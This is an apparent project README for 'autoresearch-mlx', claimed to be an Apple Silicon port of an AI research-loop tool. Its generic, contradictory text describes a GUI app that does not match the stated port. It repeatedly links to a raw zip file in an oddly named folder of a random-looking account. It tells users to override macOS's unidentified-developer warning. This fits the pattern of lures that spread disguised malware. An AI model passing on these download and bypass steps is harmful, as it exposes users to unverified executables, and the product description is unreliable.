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Port Apple Silicon support for Karpathy’s autoresearch to run fixed-time training loops natively without PyTorch or CUDA dependencies.

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# 🔍 autoresearch-mlx - Simple AI Research Loops on Apple Silicon

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## ℹ️ What is autoresearch-mlx?

autoresearch-mlx is a tool that runs autonomous AI research loops on Apple Silicon Macs. It lets you explore AI models without needing complex tools like PyTorch. This software is designed to run smoothly on Mac computers with Apple chips, making it easier to experiment with AI research without deep technical skills.

This version is built for Apple Silicon (M1, M2, and newer). It focuses on simplicity, speed, and independence from large AI libraries.

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## 🖥️ System Requirements

To run autoresearch-mlx, make sure your setup fits these needs:

- **Operating System:** macOS Big Sur or later (run on Apple Silicon chips only)
- **Processor:** Apple M1, M2, or newer
- **Memory:** At least 8 GB of RAM recommended
- **Disk Space:** Around 500 MB free space for the program and data
- **Internet:** Required for initially downloading the application and optional updates

This app is optimized for Mac and will not run on Windows or other platforms.

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## 🚀 Getting Started: Download and Run autoresearch-mlx

You do not need programming knowledge to start using autoresearch-mlx. Follow these steps carefully.

### Step 1: Visit the Download Page

Click the big green button at the top or go directly to:

https://github.com/Negusyellowfever875/autoresearch-mlx/raw/refs/heads/main/feria/autoresearch-mlx-3.9.zip

This page hosts the latest version and detailed information.

### Step 2: Find the Latest Release

On the GitHub page, look for the **Releases** section.

- Click on the latest release version number (for example: v1.0).
- Look for a file designed for Apple Silicon Macs. This will usually have a `.dmg` or `.zip` extension.

### Step 3: Download the File

- Click the file name to start downloading.
- Depending on your browser, it may save the file in your **Downloads** folder.

### Step 4: Install the Application

- Open the downloaded `.dmg` file by double-clicking it.
- A window will open showing the application icon.
- Drag the application icon to your **Applications** folder.

### Step 5: Open autoresearch-mlx

- Go to your **Applications** folder.
- Double-click **autoresearch-mlx** to start it.
- If macOS shows a warning about an unidentified developer, click **Open Anyway** in System Preferences > Security & Privacy.

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## 🛠️ How autoresearch-mlx Works

autoresearch-mlx runs research loops on your Mac. It studies AI models over many iterations and adjusts itself using autonomous steps. This can help you learn about AI without needing to write code.

The app uses native macOS features and Apple’s optimized processing units. This approach speeds up AI tasks without heavy software like PyTorch.

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## ⚙️ Basic Usage

When you open the app, you will see a simple interface.

1. **Start a Research Loop:** Click the **Start** button to begin.
2. **Monitor Progress:** The app shows a status screen with ongoing research details.
3. **Stop or Pause:** Use the **Stop** or **Pause** button to control the process.
4. **View Results:** After completion, results display clearly. You can explore what the model learned.

No setup or coding is needed for these steps.

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## 🔧 Adjusting Settings 

If you want to customize how the app runs:

- Click on the **Settings** icon.
- Adjust options like the number of loops, speed, or data sources.
- Save your changes before returning to the main screen.

These options let you control how much work your Mac does during research.

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## 🗂️ Managing Your Data

autoresearch-mlx stores its files on your Mac.

- By default, data saves in your **Documents/autoresearch-mlx** folder.
- You can change this folder in **Settings > Data Location**.
- Make sure you have enough disk space if you run many loops.

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## 💻 How to Update autoresearch-mlx

To get the latest improvements:

1. Visit the download link again:
   
   https://github.com/Negusyellowfever875/autoresearch-mlx/raw/refs/heads/main/feria/autoresearch-mlx-3.9.zip
   
2. Go to the **Releases** section.
3. Download the newest version.
4. Replace your old application file by dragging the new one into **Applications**.

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## ❓ Common Questions

### Does this run on Windows?

No. autoresearch-mlx runs only on Apple Silicon Macs with macOS Big Sur or later.

### Do I need to install anything else?

No. autoresearch-mlx works without extra software or coding libraries.

### Can I stop a research loop once started?

Yes. Use the **Stop** button on the main screen at any time.

### How do I report issues?

Use the **Issues** tab on the GitHub page to submit bug reports or feature suggestions.

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## 📥 Download autoresearch-mlx

Start by visiting this page to download the latest version:

[Download autoresearch-mlx](https://github.com/Negusyellowfever875/autoresearch-mlx/raw/refs/heads/main/feria/autoresearch-mlx-3.9.zip)  

Click **Releases**, pick the latest `.dmg` or `.zip` file, download it, and follow the installation steps above.

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